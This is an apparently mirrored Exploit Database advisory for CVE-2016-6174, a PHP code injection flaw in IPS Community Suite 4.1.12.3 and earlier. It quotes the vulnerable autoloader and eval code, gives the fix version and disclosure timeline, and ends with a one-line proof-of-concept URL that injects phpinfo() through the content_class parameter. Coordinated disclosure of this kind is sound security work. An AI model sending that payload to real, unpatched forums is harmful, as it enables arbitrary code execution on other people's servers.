IPS Community Suite 4.1.12.3 – PHP Code Injection

• Exploit Database
• 11 阅读

• 作者： Egidio Romano
  日期： 2016-07-11
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/40084/

• ---------------------------------------------------------------------------
  IPS Community Suite <= 4.1.12.3 Autoloaded PHP Code Injection Vulnerability
  ---------------------------------------------------------------------------
  
  
  [-] Software Link:
  
  https://invisionpower.com/
  
  
  [-] Affected Versions:
  
  Version 4.1.12.3 and prior versions.
  
  
  [-] Vulnerability Description:
  
  The vulnerable code is located in the /applications/core/modules/front/system/content.php script:
  
  38.	$class = 'IPS\\' . implode( '\\', explode( '_', \IPS\Request::i()->content_class ) );
  39.	
  40.	if ( ! class_exists( $class ) or ! in_array( 'IPS\Content', class_parents( $class ) ) )
  41.	{
  42.	\IPS\Output::i()->error( 'node_error', '2S226/2', 404, '' );
  43.	}
  
  User input passed through the "content_class" request parameter is not properly sanitized before being used in a call
  to the "class_exists()" function at line 40. This could be exploited by unauthenticated attackers to inject and execute
  arbitrary PHP code leveraging the autoloading function defined into the /applications/cms/Application.php script:
  
  171.	if ( mb_substr( $class, 0, 14 ) === 'IPS\cms\Fields' and is_numeric( mb_substr( $class, 14, 1 ) ) )
  172.	{
  173.	$databaseId = mb_substr( $class, 14 );
  174.	eval( "namespace IPS\\cms; class Fields{$databaseId} extends Fields { public static \$customDatabaseId [...]
  175.	}
  
  Successful exploitation of this vulnerability requires the application running on PHP before version 5.4.24 or 5.5.8.
  
  
  [-] Proof of Concept:
  
  http://[host]/[ips]/index.php?app=core&module=system&controller=content&do=find&content_class=cms\Fields1{}phpinfo();/*
  
  
  [-] Solution:
  
  Update to version 4.1.13 or later.
  
  
  [-] Disclosure Timeline:
  
  [04/07/2016] - Vendor notified
  [05/07/2016] - Vulnerability fixed in version 4.1.13: https://invisionpower.com/release-notes/4113-r44/
  [06/07/2016] - CVE number requested
  [06/07/2016] - CVE number assigned
  [07/07/2016] - Public disclosure
  
  
  [-] CVE Reference:
  
  The Common Vulnerabilities and Exposures project (cve.mitre.org)
  has assigned the name CVE-2016-6174 to this vulnerability.
  
  
  [-] Credits:
  
  Vulnerability discovered by Egidio Romano.
  
  
  [-] Original Advisory:
  
  http://karmainsecurity.com/KIS-2016-11